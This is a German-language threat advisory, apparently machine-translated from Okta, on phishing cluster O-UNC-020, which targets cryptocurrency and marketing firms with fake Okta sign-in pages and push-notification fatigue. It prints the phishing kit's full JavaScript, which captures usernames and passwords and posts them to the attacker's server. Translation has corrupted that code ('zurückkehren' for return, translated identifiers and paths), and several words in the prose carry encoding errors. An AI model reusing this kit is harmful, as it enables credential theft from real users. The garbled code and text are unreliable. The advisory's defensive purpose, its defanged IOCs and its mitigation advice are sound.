Zusammenfassung
Im Mai 2025 beobachtete das Okta Threat Intelligence Team ein derzeit nicht zugeordnetes Cluster (O-UNC-020) von Phishing-bezogenen Aktivitäten, das hauptsächlich auf Organisationen im Kryptowährungsbereich abzielt.
O-UNC-020 wurde erstmals im Oktober 2024 beobachtet und zielte auf Organisationen ab, die in den Bereichen Kryptowährung, E-Mail-Marketing, Marketing-Automatisierung, Vertriebsautomatisierung und CRM tätig sind.
Dieser Hinweis beschreibt die beobachteten Taktiken, Techniken und Verfahren (TTPs) und stellt relevante Indikatoren für eine Kompromittierung (IOCs) im Zusammenhang mit dieser aktiven Bedrohung bereit.
Die Kampagne dürfte für jede Organisation von besonderem Interesse sein, die den Zugriff auf browserbasierte Anwendungen mit Passwort als primärem Authentifizierungsfaktor und Push-Benachrichtigungen als zweitem Faktor sichert. Das vom Angreifer verwendete Phishing-Kit – das wir unten analysieren – dient dazu, den Benutzernamen und das Passwort eines Ziels zu erfassen und an einen vom Angreifer kontrollierten Server zu senden. Dem Zielbenutzer wird eine Seite präsentiert, die so gestaltet ist, dass sie aussieht, als würden zusätzliche Inhalte geladen, während die menschlichen Betreiber des Phishing-Kits die Anmeldedaten von ihrem eigenen Browser aus eingeben, um eine Push-Benachrichtigung auszulösen.
Diese Informationen werden zu Informations- und Aufklärungszwecken bereitgestellt, um Organisationen in die Lage zu versetzen, die von dieser Kampagne ausgehenden Risiken zu verstehen und zu mindern.
Bedrohungsanalyse
Die Analyse der Kampagne vom Mai 2025 identifizierte die folgende Infrastruktur, die zum Hosten der bösartigen Phishing-Seiten verwendet wurde, welche ein gefälschtes Okta Sign-in Widget darstellen:
- 91.212.166[.]185 - AS198953 - Proton66 OOO
- 196.251.84[.]3 - AS401120 - cheapy.host LLC
- 193.24.123[.]162 - AS200593 - PROSPERO OOO
Und verwendete die folgenden Domänenmuster:
- <customer>-sso.com
- <customer>-okta.com
- login-<customer>.com
- mail-<customer>.com
Aktivität zur gehackten Accounts
Nach einer erfolgreichen Kompromittierung von Anmeldedaten wurde beobachtet, dass der/die Angreifer versuchten, sich von den folgenden IP-Adressen aus zu authentifizieren:
- 154.221.58[.]232 - AS202656 - XServerCloud
- 213.209.137[.]210 - AS62240 - Clouvider
- 46.232.37[.]58 - AS62240 - Clouvider
Während der Authentifizierungsversuche wurde beobachtet, dass der Angreifer IP-Adressen verwendete, die mit Proxyline.net in Verbindung stehen. einem gro9en russischen Rechenzentrums-Proxy-Anbieter. Dieser Dienst bietet ein umfangreiches Netzwerk von schnellen IPv4- und IPv6-HTTP- und SOCKS-Proxy-Servern, die verwendet werden können, um den Datenverkehr über verschiedene globale Standorte zu leiten. ProxyLine wirbt mit einer No-Log-Richtlinie und akzeptiert Kryptowährungszahlungen. Diese Funktionen machen es besonders attraktiv fcr Cyberkriminelle, staatlich gef6rderte Akteure und andere b6sartige Unternehmen, die versuchen, Anonymitct zu wahren und der Aufdeckung zu entgehen.
Merkmale des Phishing-Kits
- Das Phishing-Kit präsentiert einen zweistufigen Anmeldeprozess: Zuerst wird nach einem Benutzernamen (Eingabe-ID usernameInput) und dann, nach einer simulierten Verzögerung, nach einem Passwort (Eingabe-ID passwordInput) gefragt.
- Der erfasste Benutzername und das Passwort werden zusammen mit einem statischen csrf_token (der Teil der Mimikry ist) über eine AJAX-POST-Anfrage an einen relativen Pfad API/v1/Anmeldung auf dem Phishing-Server gesendet.
- Nach dem Absenden der Anmeldedaten simuliert die Seite eine Verarbeitungsverzögerung (setTimeout) und versucht dann, den Benutzer auf eine Seite namens /oauth_await umzuleiten. Dies ist eine weitere vom Angreifer kontrollierte Seite, die die Illusion verstärken soll, dass die primären Anmeldedaten des Benutzers erfolgreich eingegeben wurden.
- Der Javascript-Code, der direkt im Webbrowser des Benutzers ausgeführt wird und zur Seite oauth_await weiterleitet, deutet auf die Echtzeit-Sammlung von Anmeldedaten durch einen menschlichen Operator hin. Die Angreifer geben die erbeuteten Anmeldedaten im Okta-Produktionsdienst des Ziels ein, um zu versuchen, eine Push-Benachrichtigung auszulösen. Ein Benutzer, der davon ausgeht, dass er das richtige Passwort eingegeben hat, akzeptiert möglicherweise die vom Angreifer generierte Push-Benachrichtigung, ohne den in der Nachricht angezeigten Kontext zu überprüfen.
- Der redirect_uri in der dynamisch generierten URL (<org>.okta.com%2Fenduser%2Fcallback) ist legitim, und der Angreifer kann versuchen, den Benutzer über diesen Link umzuleiten, nachdem er seine Anmeldedaten gestohlen hat.
<script>
if (!window.location.href.includes('?')) {
function generateRandomString(length) {
const charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
let result = '';
for (let i = 0; i < length; i++) {
result += charset.charAt(Math.floor(Math.random() * charset.length));
}
return result;
}
const clientId = sessionStorage.getItem('client_id') || 'okta.' + generateRandomString(32);
sessionStorage.setItem('client_id', clientId);
const codeChallenge = sessionStorage.getItem('code_challenge') || generateRandomString(43);
sessionStorage.setItem('code_challenge', codeChallenge);
const nonce = sessionStorage.getItem('nonce') || generateRandomString(22);
sessionStorage.setItem('nonce', nonce);
const state = sessionStorage.getItem('state') || generateRandomString(40);
sessionStorage.setItem('state', state);
let currentPage = window.location.pathname;
currentPage = currentPage.replace(/\.php$/, '');
const newUrl = `${currentPage}?
client_id=${clientId}&code_challenge=${codeChallenge}&code_challenge_method=S256&nonce=
${nonce}&redirect_uri=
https%3A%2F%2Fredacted.okta.com%2Fenduser%2Fcallback&response_type=
code&state=${state}&scope=openid%20
profile%20email%20okta.users.read.self%20okta.users.manage.self %20okta.internal.enduser.read%20okta.internal.endus
er.manage%20okta.enduser.dashboard.read%20okta.enduser.dashboard.manage %20okta.myAccount.sessions.manage`
;
window.location.href = newUrl;
}
$(document).ready(function() {
$('#usernameInput').keyup(function() {
if ($(this).val() == '') {
$("#inputDispaly").show();
$("#roleAlertDisplay").show();
} else {
$("#inputDispaly").hide();
}
});
$('#passwordInput').keyup(function() {
if ($(this).val() == '') {
$("#displayPasswordErrorText").show();
$("#passwordContainerError").show();
} else {
$("#displayPasswordErrorText").hide();
}
});
$('#username-saving').on('submit', function(event) {
event.preventDefault();
});
$('#password-saving').on('submit', function(event) {
event.preventDefault();
});
$('#usernameInput').on('keyup', function(event) {
if (event.key === 'Enter' || event.keyCode === 13) {
event.preventDefault();
$('#next_username_button').click();
}
});
$('#passwordInput').on('keyup', function(event) {
if (event.key === 'Enter' || event.keyCode === 13) {
event.preventDefault();
$('#next_pass_button').click();
}
});
$('.password-toggle').on('click', function() {
const $passwordInput = $('#passwordInput');
const $showIcon = $('.button-show');
const $hideIcon = $('.button-hide');
if ($passwordInput.attr('type') === 'password') {
$passwordInput.attr('type', 'text');
$showIcon.hide();
$hideIcon.show();
} else {
$passwordInput.attr('type', 'Passwort');
$showIcon.show();
$hideIcon.hide();
}
});
$('#input36').on('click', function() {
const isChecked = $(this).prop('checked');
if (isChecked) {
$('#input36_check').addClass('checked');
} else {
$('#input36_check').removeClass('checked');
}
});
const loginUsername = $("#next_username_button");
const loginPassword = $("#next_pass_button");
loginUsername.click(function() {
const username = $('#usernameInput').val();
$("#inputDispaly").hide();
$("#roleAlertDisplay").hide();
if (username == '') {
$("#inputDispaly").show();
$("#roleAlertDisplay").show();
return;
}
loginUsername.attr('disabled', true);
loginUsername.addClass('link-button-disabled btn-disabled');
$("#username-saving").addClass('o-form-saving');
setTimeout( function (){
$(".okta-username-section").hide();
$(".okta-password-section").show();
$("#insertUsernameValue").text(username);
$('#passwordInput').focus();
zurückkehren
}, 1500);
});
loginPassword.click(function() {
const Passwort = $('#passwordInput').val();
$("#displayPasswordErrorText").hide();
$(\"#passwordContainerError\").hide();
if (Passwort == '') {
$("#displayPasswordErrorText").show();
$("#passwordContainerError").show();
return;
}
loginPassword.attr('disabled', true);
loginPassword.addClass('link-button-disabled btn-disabled');
$("#password-saving").addClass('o-form-saving');
const payload = {
username: $('#usernameInput').val(),
Passwort: $('#passwordInput').val(),
csrf_token: $("input[name=csrf_token]").val(),
page: 'Anmeldung'
};
$.ajax({
url: 'API/v1/Anmeldung',
type: 'POST',
data: payload,
success: function(response) {
setTimeout( function (){
window.location.href = "oauth_await";
zurückkehren
}, 1500);
},
error: function(err) {
console.log('Error sending data:', err);
alert('Fehler, bitte laden Sie die Seite neu');
}
});
});
});
</script>
Reaktion auf Bedrohungen
Was wir tun
Wir sind aktiv an den folgenden Maßnahmen beteiligt, um diese Bedrohung zu mindern:
- Kontinuierliche Überwachung neu registrierter Phishing-Domains und der Infrastruktur, die mit dieser Kampagne verbunden ist.
- Proaktives Einreichen von Missbrauchsmeldungen bei relevanten Registraren und Hosting-Providern, um Anträge auf Entfernung identifizierter schädlicher Websites einzuleiten.
- Bereitstellung von Anleitung und Unterstützung für Organisationen, um die Sicherheit ihrer Okta-Umgebungen zu verbessern und verdächtige Aktivitäten im Zusammenhang mit potenziell kompromittierten Konten zu untersuchen.
- Veröffentlichung von Aktualisierungen dieser Analyse, sobald wir weitere Aktivitäten beobachten.
Schutzkontrollen
Empfehlungen für Kunden:
- Registrieren Sie Benutzer für starke Authentifizierungsfaktoren wie Okta FastPass, FIDO2 WebAuthn und Smartcards und erzwingen Sie Phishing-Resistenz in der Richtlinie. Wenn Ausnahmen für Okta Verify Push-Benachrichtigungen gemacht werden, empfehlen wir, Zahlen-Challenges für alle Sign-in-Versuche oder für risikoreiche Sign-in-Versuche zu erzwingen.
- Okta-Authentifizierungsrichtlinien können auch verwendet werden, um den Zugriff auf Benutzerkonten basierend auf einer Reihe von vom Kunden konfigurierbaren Voraussetzungen einzuschränken. Wir empfehlen Administratoren, den Zugriff auf sensible Anwendungen auf Geräte zu beschränken, die von Endpoint-Management-Tools verwaltet und durch Endpoint-Sicherheitstools geschützt werden. Fordern Sie für den Zugriff auf weniger sensible Anwendungen registrierte Geräte (mit Okta FastPass) an, die Indikatoren für grundlegende Hygiene aufweisen.
- Verweigern Sie oder fordern Sie ein höheres Höchstmaß an Sicherheit für Anfragen aus selten genutzten Netzwerken an. Mit Okta Network Zones kann der Zugriff nach Standort, ASN (Autonomous System Number), IP und IP-Typ (der bekannte Anonymisierungs-Proxys identifizieren kann) gesteuert werden.
- Okta Behavior- und Risk-Evaluierungen können verwendet werden, um Anfragen für den Zugriff auf Anwendungen zu identifizieren, die von zuvor etablierten Mustern der Benutzeraktivität abweichen. Richtlinien können so konfiguriert werden, dass sie Anfragen mithilfe dieses Kontexts Step-up oder ablehnen.
- Schulen Sie die Benutzer, Indikatoren für verdächtige E-Mails, Phishing-Seiten und gängige Social-Engineering-Techniken zu erkennen, die von Angreifern verwendet werden. Erleichtern Sie es den Benutzern, potenzielle Probleme zu melden, indem Sie Endbenutzer-Benachrichtigungen und Meldungen über verdächtige Aktivitäten konfigurieren.
- Dokumentieren, propagieren und befolgen Sie einen standardisierten Prozess zur Validierung der Identität von Remote-Benutzern, die sich an den IT-Support wenden, und umgekehrt.
- Verwenden Sie einen "Zero Standing Privileges"-Ansatz für den administrativen Zugriff. Weisen Sie Administratoren benutzerdefinierte Administratorrollen mit den geringsten Berechtigungen zu, die für die täglichen Aufgaben erforderlich sind, und fordern Sie eine doppelte Autorisierung für den JIT-Zugriff (Just-in-Time) auf privilegiertere Rollen an.
- Wenden Sie IP Session Binding auf alle administrativen Apps an, um die Wiedergabe gestohlener administrativer Sessions zu verhindern.
- Aktivieren Sie Geschützte Aktionen, um eine erneute Authentifizierung zu erzwingen, wenn ein administrativer Benutzer versucht, sensible Aktionen durchzuführen.
Beobachtung und Reaktion auf Phishing-Infrastruktur:
- Überprüfen Sie die Anwendungsprotokolle (Okta-Protokolle, Webproxys, E-Mail-Systeme, DNS-Server, Firewalls) auf Beweise für die Kommunikation mit solchen verdächtigen Domänen.
- Überwachen Sie die Domains regelmäßig, um zu sehen, ob sich die Inhalte ändern.
- Wenn auf der Domain gehostete Inhalte Urheberrechte oder Schutzmarken verletzen, sollten Sie in Erwägung ziehen, Beweise vorzulegen und eine Entfernungsanfrage beim Domain-Registrar und/oder Webhosting-Provider einzureichen.
Anhang A: Indicators of Compromise
Dies ist eine laufende Untersuchung, und es können zusätzliche IOCs identifiziert werden, während sich die Kampagne weiterentwickelt. Organisationen wird empfohlen, wachsam zu bleiben und die empfohlenen Maßnahmen zur Risikominderung zu implementieren. Nachfolgend sind die beobachteten IOCs aufgeführt.
| Typ | Indikator | Kommentar | Gesehen bei |
|---|---|---|---|
| IP-Adresse | 172.67.148[.]2 | AS13335 - Cloudflare, Inc. | 2025-04-19 |
| IP-Adresse | 77.37.76[.]235 | AS47583 - Hostinger International Limited | 2025-04-22 |
| IP-Adresse | 67.205.29[.]179 | AS26347 - New Dream Network, LLC | 2025-04-18 |
| IP-Adresse | 147.93.54[.]103 | AS47583 - Hostinger International Limited | 2025-04-19 |
| IP-Adresse | 178.218.166[.]217 | AS12417 - Plus Hosting Grupa d.o.o. | 2025-04-18 |
| IP-Adresse | 104.136.213[.]185 | AS33363 - Charter Communications, Inc | 2025-04-17 |
| IP-Adresse | 12.183.232[.]42 | AS7018 - AT&T Enterprises, LLC | 2025-04-15 |
| IP-Adresse | 160.7.237[.]192 | AS36223 - Spanish Fork City | 2025-04-18 |
| IP-Adresse | 162.251.115[.]229 | AS11059 - MIFFLIN COUNTY WIRELESS LLC | 2025-04-16 |
| IP-Adresse | 168.235.210[.]141 | AS13428 - Surf Air Wireless, LLC | 2025-04-14 |
| IP-Adresse | 172.220.33[.]240 | AS20115 - Charter Communications LLC | 2025-04-18 |
| IP-Adresse | 174.68.140[.]219 | AS22773 - Cox Communications Inc. | 2025-04-17 |
| IP-Adresse | 212.102.44[.]112 | AS60068 - Datacamp Limited | 2025-04-14 |
| IP-Adresse | 45.48.112[.]118 | AS20001 - Charter Communications Inc | 2025-04-15 |
| IP-Adresse | 45.49.235[.]225 | AS20001 - Charter Communications Inc | 2025-04-15 |
| IP-Adresse | 71.224.199[.]104 | AS7922 - Comcast Cable Communications, LLC | 2025-04-18 |
| IP-Adresse | 74.101.135[.]58 | AS701 - Verizon Business | 2025-04-15 |
| IP-Adresse | 98.54.180[.]132 | AS7922 - Comcast Cable | 2025-04-16 |
Ein Hinweis zur Schätzungssprache
Okta Threat Intelligence verwendet die folgenden Begriffe, um Wahrscheinlichkeit oder Wahrscheinlichkeit auszudrücken, wie im US Office of the Director of National Intelligence Community Directive 203 - Analytic Standards dargelegt.
| Wahrscheinlichkeit | Fast keine Chance | Sehr unwahrscheinlich | Unwahrscheinlich | Ungefähr gleichwertige Chance | Wahrscheinlich | Sehr wahrscheinlich | Fast sicher |
|---|---|---|---|---|---|---|---|
| Wahrscheinlichkeit | Remote | Höchst unwahrscheinlich | Unwahrscheinlich | Ungefähr gleiche Chancen | Wahrscheinlich | Sehr Wahrscheinlich | Nahezu sicher |
| Prozentsatz | 1-5% | 5-20% | 20-45% | 45-55% | 55-80% | 80-95% | 95-99% |